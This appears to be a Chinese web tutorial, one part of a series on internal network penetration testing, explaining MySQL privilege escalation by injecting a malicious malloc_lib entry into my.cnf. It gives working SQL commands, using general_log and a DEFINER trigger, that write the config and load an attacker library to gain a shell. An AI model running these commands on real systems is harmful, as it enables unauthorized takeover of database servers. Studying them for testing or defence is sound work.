主页 > 网络知识 > 内网渗透测试:MySql的利用与提权思路总结(8)

内网渗透测试:MySql的利用与提权思路总结(8)

 

image-20210125113802216

 

然后通过上文所讲的各种方式将生成的mysql_hookandroot_lib.so上传到目标机的/tmp目录下即可。

接下来,我们要确定要修改的MySQL配置文件为哪个。MySQL的配置文件除了默认的 /etc/my.cnf,还有别的配置文件路径,并且是顺序读取的:

File Name Purpose
/etc/my.cnf   Global options  
/etc/mysql/my.cnf   Global options  
SYSCONFDIR/my.cnf   Global options  
$MYSQL_HOME/my.cnf   Server-specific options (server only)  
defaults-extra-file   The file specified with--defaults-extra-file, if any  
~/.my.cnf   User-specific options  
~/.mylogin.cnf   User-specific login path options (clients only)  

可见MySQL不仅会读取/etc/my.cnf,还会读取$MYSQL_HOME/my.cnf即msyql自身目录下的mf.cnf。那我们到底修改哪一个my.cnf呢?答案是都可以,但最好是mysql目录下的,因为msyql目录毕竟是人家mysql自己的目录,以mysql用户运行的mysql当然是有权限写的,而别的文件可就不好说了。但也无法避免管理员的错误配置情况,所以,只要mysql用户有mysql配置文件的所属权限,攻击便可以追加恶意的配置项到该文件。

其次,我们还要确定用什么方法写my.cnf文件。一说到写文件,我们便可以想到into outfile和into dumpfile。但是在这里,我们不能用这种方式,因为outfile和dumpfile写出来的文件的权限为-rw-rw-rw,而MySQL有一个安全规则,即如果配置文件的权限可被其他用户写,则将会忽略这个配置文件。所以outfile和dumpfile写出来的配置文件不符合该安全规则。

我们可以用上文中讲的log写文件的方法。并且log写文件对于已存在的文件将会自动追加,正好可以避免写入的以下banner内容对MySQL配置文件的影响,也就是说,如果要用log写配置文件的话,该配置文件必须是mysql已经创建好的。

攻击者在目标主机的MySQL里执行以下操作即可写入MySQL配置文件:

mysql> set global general_log = on; # 开启日志功能 mysql> set global general_log_file = '/etc/my.cnf'; # 设置日志存放路径为mf.cnf mysql> select " # 执行后,将在日志中(my.cnf)中写入恶意配置 "> [mysqld] "> malloc_lib=/tmp/mysql_hookandroot_lib.so "> "> #"; mysql> set global general_log = off; # 关闭日志功能

 

image-20210125114046330

 

查看目标机MySQL配置文件,发现已经成功写入了恶意的配置项:

 

image-20210125114244958

 

然后等待目标mysql,攻击者机器上边获得了目标主机的shell:

 

image-20210125114420869

 

上述的操作要修改general_log全局变量,也就是说攻击者当前获得权限的MySQL用户必须是root权限。如果攻击者当前获得权限的MySQL用户不是root权限,则我们无法修改general_log全局变量,那么此时我们还可以利用此漏洞吗?当然可以,只需要一个具有 select、insert、create、file 权限的用户即可。

我们可以利用MySQL触发器的方法来成功写入修改配置文件:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off; END;

当表刷新的时候就会执行触发器,比如通过insert来让表刷新:

INSERT INTO `active_table` VALUES('xyz');

触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使此时攻击者没有数据库的管理员权限。

给出一个利用脚本:

CVE-2016-6663(可将www-data权限提升为mysql权限)
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!